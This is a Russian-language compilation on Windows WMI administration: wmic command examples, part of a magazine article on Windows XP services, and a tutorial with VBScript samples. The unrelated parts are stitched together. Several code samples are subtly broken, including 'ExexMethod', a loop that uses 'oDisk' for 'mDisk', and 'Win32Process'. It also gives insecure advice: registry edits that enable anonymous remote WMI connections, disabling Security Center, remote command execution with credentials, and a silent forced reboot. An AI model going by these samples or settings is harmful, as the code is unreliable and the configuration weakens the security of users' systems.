wmimgmt.msc — оснастка консоли управления MMC для настройки WMI на локальном компьютере.
winmgmt.exe — консольная утилита управления WMI локального компьютера.
wbemtest.exe — графическая утилита для взаимодействия со структурой WMI на локальном или удаленном компьютере.
wmic.exe — консольная утилита для взаимодействия со структурой WMI на локальном компьютере.
mofcomp.exe — компилятор MOF-файлов для расширения структуры WMI, управления библиотекой классов WMI и восстановления репозитория.
Сейчас я покажу практические примеры используемые в моей повседневной работе:
Удаление больших файлов с расширением .log
wmic datafile where «drive=’с:’ and Extension=’.log’ and FileSize>’100000′» call delete
Список заблокированный учетных записей(вывод в файл на диске с:)
Wmic /output:»c:useraccount.html» useraccount where (Status=’Degraded’) list full /format:htable
Определение архитектуры (Как пример на Server 2008)
wmic OS get OSArchitecture
Определяет тип сервера (Server 2008)
Команда возвращает числовое значение. Для Windows 2008 Server ониследующие:
7 = Windows Server 2008 Standard Edition (full installation)
8 = Windows Server 2008 Datacenter Edition (full installation
10 = Windows Server 2008 Enterprise Edition (full installation)
12 = Windows Server 2008 Datacenter Edition (core installation)
13 = Windows Server 2008 Standard Edition (core installation)
14 = Windows Server 2008 Enterprise Edition (core installation)
42 = Hyper-V Server 2008
wmic OS get OperatingSystemSKU
Как подключаться удаленным системам.
/node:<имя_компа>
/user:<имя_пользователя>
/pass:<пасс_пользователя>
Завершить процесс по названию.
wmic.exe process where name=»calc.exe» delete
Wmic process where (caption=”notepad.exe”) call terminate
Получить более подробную справку по запуску команд.
process call /?:full
Если необходимо получить сведения о службе оповещения на компьютере
/node:<имя_компьютера> service where name=»alerter» list
Вывод сведений на экран
process where (name=»explorer.exe») get caption,commandline,handle
Чтобы представить вывод в файл в табличном режиме
/output:c:table.htm process get /format:htable
path win32_process.name=»explorer.exe» get caption,commandline,handle
При соединении с удалёнными системами можно брать имена компьютеров из текстового файла (server1,server2,server3)
/node:@c:nodes.txt
context
Сохранение во внешнем XML-файле историю запускаемых в текущей сессииwmic-команд и результаты их выполнения.
/record:c:outwmic.xml
Чтобы запустить новый процесс
process call create cmd.exe
Подключение к другому компьютеру возможно ещё так
/node:server /user:test /password:»password»
/node:<ip_address>
/user:Domainname
Чтобы перезагрузить компьютер
/privileges:enable
/node:user os where (csname=»user») call win32shutdown 2
Чтобы выключить компьютер
/node:user os where (csname=»user) call win32shutdown 1
Вывод свойств операционной системы
os get /value
Вывод информация о состоянии всех зарегистрированных служб на компьютерах server1, server2, server3
/node:server1,server2,server3 /output:c:service.htm service get name,displayname,state /format:htable
Запуск и остановка служб
/node:server1 service where (name=»squid.exe») call startservice
Принудительно выключить компьютер
wmic os where primary=»TRUE» call win32shutdown 6
\FORD-POLLROOTCIMV2:Win32_OperatingSystem.Name=»Microsoft Windows XP Professional|C:\WINDOWS|\Device\Harddisk0\Partition1″
Для того чтобы запустить сервис надо (вывести список сервисов в системе)
service list brief
service where (name=»<имя_сервиса>») call startservice || stopservice
/output:c:service.html service list full /format:htable
Чтобы работало wmic, надо
Служба WMI должна быть помещена в автозапуск, а также должно быть разрешено соединение по DCOM:
1) В разделе реестра HKLMSOFTWAREMICROSOFTOLE установите значение EnableDCOM в «Y», а также EnableRemoteConnect в «Y». Значение EnableRemoteConnect по умолчанию «N».
2) В разделе реестра HKLMSOFTWAREMicrosoftwbemcimom установите значение AutostartWin9X в «2». Установите значение EnableAnonConnections в «1».
3) Добавьте файл Winmgmt.exe в автозагрузку. Файл находится в каталоге WindowsWBEM.
Модели DCOM сопоставлен TCP-порт 135.
netsh firewall add portopening TCP 135 DCOM_TCP135
Удаленно включаем службу удаленный рабочий стол (Remote Desktop)
Wmic /node:»servername» /user:»user@domain» /password:»password» RDToggle where ServerName=»server name» call SetAllowTSConnections 1
Вывод служб которые запускают с правами LocalSystem
/output:c:idcns.html service where startname=»LocalSystem» get Caption,name,started
Список шар на локальном машине
wmic share get caption,name,path
Перечисление всех путей к папкам из которых запущены программы
wmic.exe process get «ExecutablePath», «ProcessID»
Драйверы в системе возможно останавливать или запускать например:
net stop beep
net start beep
sc stop beep
sc start beep
wmic sysdriver where name=’beep’ call PauseService
методы класса Win32_SystemDriver
StartService -> запускает службу или драйвер
StopService -> останавливает службу или драйвер
PauseService -> переводит службу или драйвер в состояние паузы
ResumeService -> восстанавливает состояние драйвера или службы
InterrogateService -> заставляет службу или драйвер обновить своё состояние в SCM
UserControlService -> позволяет послать службе или драйверу пользовательское сообщение.
Create -> создаёт новую службу или драйвер
Change -> изменяет службы или драйвер
ChangeStartMode -> изменяет режим запуска службы или драйвера
Delete -> удаляет службу или драйвер
Выключаем локальную машину.
ping -n seconds 127.0.0.1>nul&wmic OS WHERE Primary=»TRUE» CALL Win32Shutdown 6
где seconds — желаемое число секунд +1; Win32Shutdown 6 — 6 = 2 (reboot) + 4 (force). Никакого видимого сообщения о перезагрузке выведено не будет.
Полезные информационные сборки параметров.
wmic computersystem get domain, EnableDaylightSavingsTime, Manufacturer, Model, PartOfDomain, TotalPhysicalMemory, username
wmic bios get Caption, Manufacturer, SMBIOSBIOSVersion, Version
wmic baseboard get Manufacturer, Model, Product, SerialNumber, Version
wmic cpu get deviceID, Addresswidth, MaxClockSpeed, Name, Manufacturer, ProcessorID
wmic logicaldisk where drivetype=3 get name, freespace, systemname, filesystem, size, volumeserialnumber
drivetype::
= 1 NoRootDirectory The drive does not have a root directory.
= 2 Removable The drive is a removable storage device, such as a floppy disk drive or a USB flash drive.
= 3 Fixed The drive is a fixed disk.
= 4 Network The drive is a network drive.
= 5 CDRom The drive is an optical disc device, such as a CD or DVD-ROM.
= 6 Ram The drive is a RAM disk.
Задание приоритета процессору
wmic process where «name=’notepad.exe’» call setpriority 64
Выполнение команд через wmic
просто вставляем в командную строку
wmic process call create ‘cmd.exe /c ping 10.30.10.101′
Прописываем DNS-суффиксы удаленно
wmic /node: /failfast:on nicconfig call SetDNSSuffixSearchOrder (ford-i.ru,tc-toyota.local,lexus.local)
Прописываем DNS-сервера
nicconfig where index=8 call setdnsserversearchorder («10.30.5.2″,»10.30.5.3″)
,где index= указывает номер интерфейса в системе на котором у вас поднята сеть
Команды загружаемые при входе системы
wmic startup list full && system
wmic:rootcli>/output:c:startup_full.html startup list full /format:htable
wmic:rootcli>/output:c:startup_system.html startup list system /format:htable
(Окончание. Начало в №19)
«Мы строили, строили и,
наконец, построили!», — сказал
когда-то Чебурашка. А мы добрались
до конца списка стандартных
сервисов Windows XP, и сегодня
рассмотрим их завершающую порцию.
Performance Logs and Alerts
Русское название: Журналы и
оповещения производительности
Эта служба необходима, как видно
из её названия, для
функционирования журналов
производительности компьютера.
Сбор данных о производительности
системы может осуществляться не
только локально, но и удалённо. Так
что если эту службу отключить, то
данные эти, соответственно,
собираться не будут. В принципе,
если вы желаете сэкономить память,
то имеет смысл отключать этот
сервис.
Terminal Services
Русское название:
Терминальные службы
Эта служба нужна для работы таких
функций Windows, как удалённое
администрирование, удалённый
рабочий стол, удалённый помощник и
быстрое переключение между
учётными записями пользователей.
Исходя из этого я бы не
рекомендовал отключать данную
службу иначе, чем в условиях
жёсткой экономии памяти.
Themes
Русское название: Темы
Предназначение у этого сервиса
очень и очень простое и будет
понятно даже начинающим
пользователям. Он нужен для того,
чтобы ваша Windows XP могла
использовать темы оформления и,
таким образом, выглядеть всё же
привлекательнее, чем Windows 95. Но если
вы не чувствуете себя эстетом, то и
сервис этот вполне можно отключить.
Telephony
Русское название: Телефония
Как видно из, опять-таки,
говорящего названия этого сервиса,
он нужен программам, которые
работают с телефонными
устройствами. Так что для того,
чтобы работал сервис, позволяющий
программам работать с факсом, а
также сервис подключений
удаленного доступа, службу эту
нужно держать включённой.
Distributed Link Tracking Client
Русское название: Клиент
слежения за изменившимися связями
Этот сервис понадобится тогда,
когда вы копируете файлы с одного
диска с системой NTFS на другой с ней
же, или даже при копии с компьютера
на компьютер в пределах одного
домена. Так что лучше её не
отключать.
Universal Plug and Play Device Host
Русское название: Узел
универсальных Plug and Play устройств
Эта служба нужна для поддержки
устройств, которые подключаются к
компьютеру удалённо через
локальную сеть. Соответственно,
если вы подобными устройствами не
пользуетесь, то от выключения
данного сервиса не пострадаете.
Uninterruptible Power Supply
Русское название: Источники
бесперебойного питания
В наши дни, когда из-за не
сохранённого вовремя файла можно
потерпеть весьма и весьма солидные
убытки, никому не нужно объяснять,
что такое источники бесперебойного
питания. Именно для их поддержки и
нужна данная служба в Windows. Если вы
источниками бесперебойного
питания не пользуетесь, то и сервис
этот можно отключить.
Volume Shadow Copy
Русское название: Теневое
копирование тома
Ещё одна служба, которая поможет с
теневым копированием. Она
управляет созданием точек
состояния корневых томов, которые
могут использоваться для
архивирования или резервного
копирования данных.
Соответственно, если вы отключите
эту службу, то резервное
копирование и восстановление будут
недоступны, так что лучше её,
соответственно, не отключать.
WebClient
Русское название: Web-клиент
Эта служба нужна тем
Windows-приложениям, которые для своей
работы используют доступ в
Интернет. Поскольку сейчас таких
приложений не просто много, а очень
много, то отключение данной службы
приведёт к недоступности части их
функций или к полной потере
функциональности. Вывод
напрашивается сам собой: не
отключать данную службу.
Windows Management Instrumentation
Русское название: Инструменты
управления Windows
Этот сервис, имея очень
интригующее название, описывается
в официальной документации Microsoft
ничуть не менее интригующе. Самый
главный вывод из этого описания
такой: если отключить данный
сервис, многие приложения будут
работать некорректно. То есть,
выключать его совсем не
рекомендуется.
Windows Management Instrumentation Driver Extension
Русское название: Расширение
драйверов WMI
Для обмена управляющей
информации с устройствами
предыдущий сервис использует эту
службу с длинным и хитрым
названием. Соответственно,
выключать его не рекомендуется.
Portable Media Serial Number Service
Русское название: Серийные
номера переносных устройств
Данный сервис получает серийные
номера портативных мультимедийных
устройств, подключаемых к
компьютеру (например, музыкальных
плееров). Соответственно, если вы
подключаете к компьютеру подобные
устройства, то данный сервис должен
быть включён.
Security Center
Русское название: Центр
обеспечения безопасности
Эта служба занимается крайне
полезным делом: надоедает
пользователю уведомлениями о том,
что у него отключен брандмауэр и не
установлен антивирус. Брандмауэры
и антивирусы производства не Microsoft,
по-видимому, не в счёт. Лично я эту
службу отключил сразу после
установки системы, что и вам
сделать также советую.
Windows Time
Русское название: Служба
времени Windows
Синхронизация даты и времени в
сети — вещь весьма и весьма
полезная. Именно ей и занята данная
служба. При её отключении дата и
время перестанут
синхронизироваться.
WMI Performance Adapter
Русское название: Адаптер
производительности WMI
Эта служба предоставляет
информацию о библиотеках
производительности от провайдеров
WMI HiPerf. Отключать её не стоит,
поскольку возможны проблемы с
определением производительности
устройств.
Wireless Zero Configuration
Русское название:
Беспроводная настройка
Эта служба нужна для
автоматического конфигурирования
WiFi-адаптеров. Соответственно, если
подобными адаптерами вы не
пользуетесь, то вполне можно
сэкономить ресурсы, отключив эту
службу.
Вадим СТАНКЕВИЧ,
dreamdrusch@tut.by
- Что такое WMI
- Классы, события и безопасность WMI
- Средства работы с WMI
- Язык запросов WMI
- Использование WMI в сценариях
- Подключение к WMI
- Подключение методом локатора
- Подключение методом моникера
- Использование объекта репозитория
- Асинхронное использование объектов репозитория
- Работа с объектами и коллекциями объектов, полученных в результате запросов
- Примеры сценариев на VBScript
- Использование WMI в программах
- Пример программы на VB.NET
- Использование специальных средств для написания запросов
- Scriptomatic
- WMI Code Creator
- Заключение
Windows Management Instrumentation (WMI) в дословном переводе — это инструментарий управления Windows. Если говорить более развернуто, то WMI — это одна из базовых технологий для централизованного управления и слежения за работой различных частей компьютерной инфраструктуры под управлением платформы Windows. Технология WMI — это расширенная и адаптированная под Windows реализация стандарта WBEM, принятого многими компаниями, в основе которого лежит идея создания универсального интерфейса мониторинга и управления различными системами и компонентами распределенной информационной среды предприятия с использованием объектно-ориентированных идеологий и протоколов HTML и XML.
В основе структуры данных в WBEM лежит Common Information Model (CIM), реализующая объектно-ориентированный подход к представлению компонентов системы. CIM является расширяемой моделью, что позволяет программам, системам и драйверам добавлять в нее свои классы, объекты, методы и свойства.
WMI, основанный на CIM, также является открытой унифицированной системой интерфейсов доступа к любым параметрам операционной системы, устройствам и приложениям, которые функционируют в ней.
Важной особенностью WMI является то, что хранящиеся в нем объекты соответствуют динамическим ресурсам, то есть параметры этих ресурсов постоянно меняются, поэтому параметры таких объектов не хранятся постоянно, а создаются по запросу потребителя данных. Хранилище свойств объектов WMI называется репозиторием и расположено в системной папке операционной системы Windows:
%SystemRoot%\System32\WBEM\Repository\FS
Так как WMI построен по объектно-ориентированному принципу, то все данные операционной системы представлены в виде объектов и их свойств и методов.
Все классы группируются в пространства имен, которые иерархически упорядочены и логически связаны друг с другом по определенной технологии или области управления. В WMI имеется одно корневое пространство имен Root, которое в свою очередь имеет 4 подпространства: CIMv2, Default, Secutiry и WMI.
Классы имеют свойства и методы и находятся в иерархической зависимости друг от друга, то есть классы-потомки могут наследовать или переопределять свойства классов-родителей, а также добавлять свои свойства.
Свойства классов используются для однозначной идентификации экземпляра класса и для описания состояния используемого ресурса. Обычно все свойства классов доступны только для чтения, хотя некоторые из них можно модифицировать определенным методом. Методы классов позволяют выполнить действия над управляемым ресурсом.
Каждому экземпляру класса можно обратиться по полному пути, который имеет следующую структуру:
[\\ComputerName\NameSpace][:ClassName][.KeyProperty1=Value1][,KeyProperty2=Value2]…] где ComputerName - имя компьютера NameSpace - название пространства имен ClassName - имя класса KeyProperty1=Value1, KeyProperty2=Value2 - свойства объекта и значения, по которым он идентифицируется.
Пример обращения к процессу с именем «Calc.exe», который запущен на локальной машине:
\\.\CIMv2:Win32_Process.Name="Calc.exe"
Экземпляры классов могут генерировать события, к которым можно подписываться. При наступлении события WMI автоматически создает экземпляр того класса, которому соответствует это событие. Такой механизм удобно использовать для выполнения определенной команды при наступлении определенного события, то есть следить за состоянием объектов операционной системы.
Общая безопасность в WMI реализуется на уровне операционной системы, а дополнительная политика безопасности основана на уровнях пространств имен и протокола DCOM. То есть если пользователь не имеет права делать какое-то действие через операционную систему, он не сможет это сделать и через WMI. Если же пользователю дано какое-то право в операционной системе, то это еще не означает, что это право будет и в WMI, так как в WMI действуют дополнительные параметры безопасности на уровне пространств имен.
Каждый объект операционной системы имеет свое описание безопасности (SD) со своим списком доступа (ACL), в котором перечислены идентификаторы пользователей (SID) и их привилегии. Каждое пространство имен может иметь собственное SD со своим ACL, где пользователям могут быть назначены разрешения на чтение данных, выполнение методов, запись классов и данных и другие. Данные о дополнительных разрешениях хранятся в репозитории WMI. Отдельные классы из пространств имен не имеют собственных описаний безопасности, они наследуют их от своего пространства имен.
По умолчанию администратор компьютера имеет полные права на использование WMI, а остальные пользователи могут лишь вызывать методы, считывать данные и записывать в репозиторий экземпляры классов провайдеров WMI.
Для доступа к инфраструктуре WMI используется протокол DCOM, через который пользователь подключается к WMI. Чтобы определить, какие права будут у подключившегося пользователя, используется механизмы олицетворения и аутентификации протокола DCOM.
Уровни олицетворения могут принимать следующие значения:
Anonymous | Анонимный | WMI-объект не может получить информацию о пользователе — доступ по такому типу не предоставляется |
Identify | Идентификация | WMI-объект запрашивает маркер доступа пользователя — доступ предоставляется только локально |
Impersonate | Олицетворение | WMI-объект имеет такие же права, какие имеет пользователь — рекомендуемый уровень для выполнения команд на удаленном компьютере |
Delegate | Делегирование | WMI-объект может обратиться от имени пользователя к другому WMI-объекту — нерекомендуемый уровень, так как команды можно выполнять удаленно через цепочку из нескольких компьютеров |
Уровни аутентификации (подлинности) могут принимать следующие значения:
None | Отсутствует | Проверка подлинности отсутствует |
Default | По умолчанию | Стандартные настройки безопасности, которые задаются компьютером-целью команды |
Connect | Подключение | Проверка только во время подключения к компьютеру-цели команды, проверка в ходе работы отсутствует |
Call | Вызов | Проверка подлинности при каждом запросе к компьютеру-цели команды, заголовки пакетов подписываются, но содержимое не шифруется |
Pkt | Пакет | Проверка подлинности всех пакетов к компьютеру-цели команды, заголовки пакетов подписываются, но содержимое не шифруется |
PktIntegrity | Целостность пакета | Проверка подлинности и целостности всех пакетов к компьютеру-цели команды, заголовки пакетов подписываются, но содержимое не шифруется |
PktPrivacy | Секретность пакета | Проверка подлинности и целостности всех пакетов к компьютеру-цели команды, заголовки и содержимое пакетов подписываются и шифруются |
wmimgmt.msc — оснастка консоли управления MMC для настройки WMI на локальном компьютере.
Оснастка консоли управления MMC для настройки WMI
winmgmt.exe — консольная утилита управления WMI локального компьютера.
Консольная утилита управления WMI
wbemtest.exe — графическая утилита для взаимодействия со структурой WMI на локальном или удаленном компьютере.
Графическая утилита для взаимодействия со структурой WMI
wmic.exe — консольная утилита для взаимодействия со структурой WMI на локальном компьютере.
Консольная утилита для взаимодействия со структурой WMI
mofcomp.exe — компилятор MOF-файлов для расширения структуры WMI, управления библиотекой классов WMI и восстановления репозитория.
Компилятор MOF-файлов для расширения структуры WMI
Для обращения к объектам WMI используется специфический язык запросов WMI Query Language (WQL), который является одним из разновидностей SQL. Основное его отличие от ANSI SQL — это невозможность изменения данных, то есть с помощью WQL возможна лишь выборка данных с помощью команды SELECT. Помимо ограничений на работу с объектами, WQL не поддерживает такие операторы как DISTINCT, JOIN, ORDER, GROUP, математические функции. Конструкции IS и NOT IS применяются только в сочетании с константой NULL.
Запросы WQL обычно применяются в скриптах, но их также можно протестировать в программе Wbemtest и в консольной утилите Wmic (утилита wmic не требует написания ключевого слова SELECT и полей выборки)
Общий синтаксис запроса WQL выглядит так:
SELECT свойства FROM имя_класса WHERE свойство оператор значение
Например:
' Выбрать все значения класса Win32_Product и вывести все его свойства SELECT * FROM Win32_Product ' Выбрать все значения класса Win32_Product и вывести свойство Version SELECT Version FROM Win32_Product ' Выбрать значения класса Win32_Product, где свойство Description равно ' "Microsoft Office", и вывести свойство Version SELECT Version FROM Win32_Product WHERE Description = "Microsoft Office"
Как видно из примеров, оператор FROM — это источник (класс), коллекцию экземпляров которого нужно получить, а оператор WHERE — это фильтр в запросе.
В скриптах для подключения к WMI используются два метода: с использованием локатора (SWbemLocator) и с использованием моникера (WinMgmts). Метод локатора позволяет установить соединие с пространством имен от имени определенной учетной записи. Метод моникера разрешает подключаться к WMI только от имени текущей учетной записи.
Использование этого метода необходимо, когда в сценарии нужно явно задать имя и пароль учетной записи для подключения к WMI. Объект SWbemLocator создается так:
Set mSWbemLocator = CreateObject("WbemScripting.SWbemLocator")
Подключение к репозиторию WMI производится с помощью метода ConnectServer:
mSWbemServices = mSWbemLocator.ConnectServer([ServerName], [NameSpace], [User], _ [Password], [Locate], [Authority], [SecurityFlags], [WbemNamedValueSet]) где ServerName - имя компьютера (если не указано, то локальный компьютер), NameSpace - пространство имен (если не указано, то пространство по умолчанию), User - имя пользователя в формате Домен\УчетнаяЗапись (если не указано, то текущий пользователь), Password - пароль указанного пользователя, Locate - код локализации (если не указано, то текущий язык), Authority - имя домена, если он не указан в параметре User (если не указано, то текущий домен), SecurityFlags - время ожидания подключения, WbemNamedValueSet - контекстная информация для провайдера, который используется для запроса.
Безопасность объекта указывается с помощью свойства Security_, в котором указывается уровень олицетворения и привилегии.
Пример использования локатора:
' Создание объекта Set mSWbemLocator = CreateObject("WbemScripting.SWbemLocator") ' Задание уровня аутентификации (6 - секретность пакетов) mSWbemLocator.Security_.AuthenticationLevel = 6 ' Задание уровня олицетворения (3 - олицетворение) mSWbemLocator.Security_.ImpersonationLevel = 3 ' Добавление привелегии (разрешение завершать работу) mSWbemLocator.Security_.Privileges.AddAsString("SeShutdownPrivilege") ' Подключение к репозиторию Set mSWbemServices = mSWbemLocator.ConnectServer(".", "Root\CIMv2",,,,, 128)
Моникер — это строка, задающая путь к классу WMI, экземпляр которого должен быть создан. Моникер состоит из обязательного префикса «winmgmts:», необязательных настроек безопасности, необязательного пути к требуемому классу:
Set mSWbemServices = GetObject("winmgmts:[{SecurityOptions}!]\\[Server]\[NameSpace]")
Пример использования моникера:
' Подключение к пространству имен по умолчанию локального компьютера Set mSWbemServices0 = GetObject("winmgmts:") ' Подключение к указанному пространству имен удаленного компьютера ' с указанием метода олицетворения Set mSWbemServices1 = GetObject("winmgmts:{impersonationLevel=Impersonate}!" & _ "\\MyComputer\Root\CIMv2") ' Подключение к указанному объекту локального компьютера ' с указанием метода олицетворения и привилегий Set mSWbemServices2 = GetObject("winmgmts:" & _ "{impersonationLevel=Impersonate, (Shutdown, RemoteShutdown)}!" & _ "\\.\Root\CIMv2:Win32Process.Handle=4") ' Подключение к указанному объекту локального компьютера Set mSWbemServices3 = GetObject("winmgmts:\\.\Root\CIMv2:Win32Process.Handle=4")
В результате подключения к WMI получается объект SWbemServices, который обладает определенными свойствами и методами. Наиболее часто используемые из них — это Get, ExecQuery, ExecMethod.
Метод Get используется для возвращения определения класса или экземпляра управляемого ресурса:
Set mObject = Get([ObjectPath],[Flags],[WbemNamedValueSet]) где ObjectPath - путь к объекту WMI, Flags - опции, WbemNamedValueSet - контекстная информация для провайдера.
Пример использования метода Get:
' Подключение к пространству имен Set mSWbemServices = GetObject("winmgmts:\\.\Root\CIMv2") ' Получение экземпляра класса с заданным свойством Set mProcess = mSWbemServices.Get("Win32_Process.Handle=4")
Метод ExecQuery используется для выполнения запросов на языке WQL:
Set mObject = ExecQuery(Query,[QueryLanguage],[Flags],[WbemNamedValueSet]) где Query - текст запроса, QueryLanguage - язык запроса (всегда равен "WQL") Flags - опции, WbemNamedValueSet - контекстная информация для провайдера.
Пример использования метода ExecQuery:
' Подключение к пространству имен Set mSWbemServices = GetObject("winmgmts:\\.\Root\CIMv2") ' Получение всех экземпляров класса с заданным свойством Set mProcesses = mSWbemServices.ExecQuery("SELECT * FROM Win32_Process WHERE Handle = 4")
Метод ExecMethod используется для выполнения метода указанного объекта:
Set mObject = ExecMethod(ObjectPath, MethodName,[InParams],[Flags],[WbemNamedValueSet]) где ObjectPath - путь к объекту WMI, MethodName - имя метода, InParams - входные параметры для метода, Flags - опции (всегда равно нулю), WbemNamedValueSet - контекстная информация для провайдера.
Пример использования метода ExecMethod:
' Подключение к пространству имен Set mSWbemServices = GetObject("winmgmts:\\.\Root\CIMv2") ' Получение указателя на класс Set mProcess = mSWbemServices.Get("Win32_Process") ' Создание коллекции входных параметров для метода Set mInParams = mProcess.Methods_("Create").InParameters.SpawnInstance_ mInParams.CommandLine = "notepad.exe" ' Выполнение метода Set mOutParams = mSWbemServices.ExexMethod("Win32_Process", "Create", mInParams)
Указанные выше методы работают в синхронном и полусинхронном режиме, то есть программа или сценарий не выполняет следующую команду или запрос до тех пор, пока не получит ответ от текущего запущенного метода.
Аналогично синхронным методам WMI позволяет выполнять команды асинхронно, то есть не дожидаться результатов выполнения очередного запроса и продолжать работу сценария или программы. Названия таких асинхронных методов имеют окончание «Async», а работа с ними почти не отличается от обычных методов, но должны быть использованы два обязательных параметра: ссылка на специальный объект «слив событий» и контекстная информация объекта.
Объект «слива событий» (от английского «sink» — раковина) создается следующим образом:
Set mSink = WScript.CreateObject("WbemScripting.SWbemSink", "Sink_") где Sink_ - префикс для функций.
Наиболее часто используемые события, обрабатываемые таким «сливом» асинхронных методов, — это OnObjectReady и OnCompleted. Как можно догадаться из названий событий, первое происходит, когда возвращается очередной объект, порожденный асинхронным запросом. Второе происходит после полного завершения асихронного метода. Событие OnObjectReady выдает на выход объект, который был запрошен асихронной операцией, а событие OnCompleted — код ошибки или 0.
Пример использования асинхронного метода:
' Подключение к пространству имен Set mSWbemServices = GetObject("winmgmts:\\.\Root\CIMv2") ' Создание объекта "слива событий" Set mSink = WScript.CreateObject("WbemScripting.SWbemSink", "Sink_") ' Флаг завершения асинхронного метода mCompleted = False ' Вызов асинхрнонного запроса mSWbemServices.ExecQueryAsync mSink, "SELECT * FROM Win32_Process" ' Зацикливание скрипта до окончание запроса (здесь можно выполнять любые другие операции) ' Как только асинхронный метод вернет какое-нибудь событие, то будет вызвана ' соотвествующая процедура, которая описана ниже, а работа основного скрипта на время ' прервется While Not mCompleted WScript.Sleep 1000 Wend ' Процедура обработки события возврата очередного объекта Sub Sink_OnObjectReady(mWbemObject, mWbemAsyncContext) WScript.Echo mWbemObject.Name End Sub ' Процедура обработки события завершения запроса Sub Sink_OnCompleted(mResult, mWbemErrorObject, mWbemAsyncContext) If mResult = 0 Then WScript.Echo "Запрос успешно завершен" Else WScript.Echo "Запрос завершен с ошибкой" End If mCompleted = True End Sub
Рассмотренные выше методы возвращают объекты и коллекции объектов, которые обладают своими методами и свойствами. Информацию о всех свойствах и методах, поддерживаемых конкретным объектом, можно получить с помощью такого скрипта:
' Объект mObject получен методом Get ' Получение свойств и их значений For Each mCurrentProperty in mObject.Properties_ Wscript.Echo mCurrentProperty.Name & ": " & mCurrentProperty.Value Next ' Получение методов For Each mCurrentMethod in mObject.Methods_ Wscript.Echo mCurrentMethod.Name Next
Коллекция объектов всегда обладает общими для всех экземпляров свойствами, наиболее часто используемые свойства — это Count и Item.
Count — это свойство коллекции объекта, которое содержит количество элементов коллекции.
Item(mObjectPath) — это метод, который возвращает один объект коллекции, соответствующий указанному пути.
Как уже выяснилось, объект имеет свои методы и свойства, которые соответствуют классу данного экземпляра, но помимо классовых свойств и методов всем объектам присущи универсальные, которые оканчиваются на символ подчеркивания, чтобы отличать их от классовых. Наиболее часто используемые универсальные методы — это ExecMethod_ и Put_.
ExecMethod_(mMethod, mWbemInParamsm, mFlags, mWbemNamedValueSet) — это метод для исполнения классового метода у используемого объекта.
Put_(mFlags, mWbemNamedValueSet) — это метод для записи измененных свойств объекта в репозиторий WMI и в реальный объект.
Пример использования метода Put_ — изменение метки диска:
' Подключение к пространству имен Set mSWbemServices = GetObject("winmgmts:\\.\Root\CIMv2") ' Получение объекта логического диска Set mDisks = mSWbemServices.ExecQuery("SELECT * FROM Win32_LogicalDisk WHERE DeviceID = 'C:'") ' Перебор коллекции возвращенных объектов For Each mDisk in mDisks ' Смена метки диска oDisk.VolumeName = "System" ' Запись изменений oDisk.Put_ Next
Пример использование класса CIM_DataFile для переименования файлов:
' Целевой компьютер mComputer = "." ' Целевая папка mFolderPath = "C:\Temp" ' Подключение к пространству имен целевого компьютера Set mSWbemServices = GetObject("winmgmts:\\" & mComputer & "\Root\CIMv2") ' Получение колекции файлов целевой папки Set mFileList = mSWbemServices.ExecQuery ("ASSOCIATORS OF {Win32_Directory.Name='" _ & mFolderPath & "'} WHERE ResultClass = CIM_DataFile") ' Обработка коллекции файлов For Each mCurrentFile In mFileList ' Формирование нового имени файла mNewName = mCurrentFile.Drive & mCurrentFile.Path & mCurrentFile.FileName _ & "." & mCurrentFile.Extension & ".old" ' Переименование файла errResult = mCurrentFile.Rename(mNewName) ' Формирование отчета о переименовании if errResult = 0 then mResultText = mResultText & "File " & mCurrentFile.Name & " renamed to " _ & mNewName & vbCrLf else mResultText = mResultText & "Error at renaming " & mCurrentFile.Name & _ " file" & vbCrLf errResult = 0 end if Next ' Вывод отчета о переименовании Wscript.Echo(mResultText)
Аналогично приведенному примеру можно совершать и другие действия с файлами, так как класс CIM_DataFile поддерживает методы: копирование, удаление, переименование, NTFS-сжатие, смена разрешений, смена владельца.
Пример использования классов оборудования компьютера для получения информации о количестве портов USB 2.0 и используемых USB-устройствах:
iCounter = 0 ' Целевой компьютер mComputer = "." ' Подключение к пространству имен целевого компьютера Set mSWbemServices = GetObject("winmgmts:\\" & mComputer & "\Root\CIMv2") ' Получение колекции USB-контроллеров Set mControllerList = mSWbemServices.ExecQuery("Select * From Win32_USBController") ' Обработка USB-контроллеров For Each mCurrentController in mControllerList If Instr(mCurrentController.Name, "Enhanced") Then iCounter = iCounter + 1 End If Next ' Формирование отчета о USB-контроллерах mResultText = "USB 2.0 Ports count: " & iCounter & vbCrLf & vbCrLf ' Получение колекции USB-устройств Set mDeviceList = mSWbemServices.ExecQuery ("Select * From Win32_USBControllerDevice") ' Обработка USB-устройств For Each mCurrentDevice in mDeviceList mDeviceName = mCurrentDevice.Dependent mDeviceName = Replace(mDeviceName, Chr(34), "") mDeviceNames = Split(mDeviceName, "=") mDeviceName = mDeviceNames(1) ' Получение свойств каждого устройства по его идентификатору Set mUSBDeviceList = mSWbemServices.ExecQuery("Select * From Win32_PnPEntity " _ & "Where DeviceID = '" & mDeviceName & "'") ' Обработка свойств устройства For Each mCurrentUSBDevice in mUSBDeviceList ' Формирование отчета о USB-устройствах mResultText = mResultText & mCurrentUSBDevice.Description & vbCrLf Next Next ' Вывод результата Wscript.Echo(mResultText)
Пример использования класса свойств принтеров для получения информации о настройках принтеров:
' Целевой компьютер mComputer = "." ' Задание констант кодов типов доступа к текстовому файлу Const ForReading = 1 Const ForWriting = 2 Const ForAppending = 8 ' Создание объекта оболочки и получение текущей директории Set oShell = CreateObject("wscript.shell") sWorkDirectory = oShell.CurrentDirectory ' Создание объекта файловой системы и файла Set oFSO = CreateObject ("Scripting.FileSystemObject") Set mResultFile = oFSO.OpenTextFile(sWorkDirectory & "\PrinterList.txt", ForWriting, True, 0) ' Подключение к пространству имен целевого компьютера Set mSWbemServices = GetObject("winmgmts:\\" & mComputer & "\Root\CIMv2") ' Получение колекции локальных принтеров Set mPrinterList = mSWbemServices.ExecQuery("SELECT * FROM Win32_Printer WHERE Local = True") ' Запись заголовка в файл mResultFile.WriteLine("Name;Comment;Location;ShareName;DriverName;PortName;") ' Обработка каждого принтера For Each mCurrentPrinter in mPrinterList mResultFile.WriteLine(mCurrentPrinter.Name & ";" & mCurrentPrinter.Comment & ";" & _ mCurrentPrinter.Location & ";" & mCurrentPrinter.ShareName & ";" & _ mCurrentPrinter.DriverName & ";" & mCurrentPrinter.PortName & ";") Next ' Закрытие файла mResultFile.Close
Пример использования класса свойств сетевого адаптера для изменения конфигурации сетевой карты — перевода с DHCP на статическую конфигурацию:
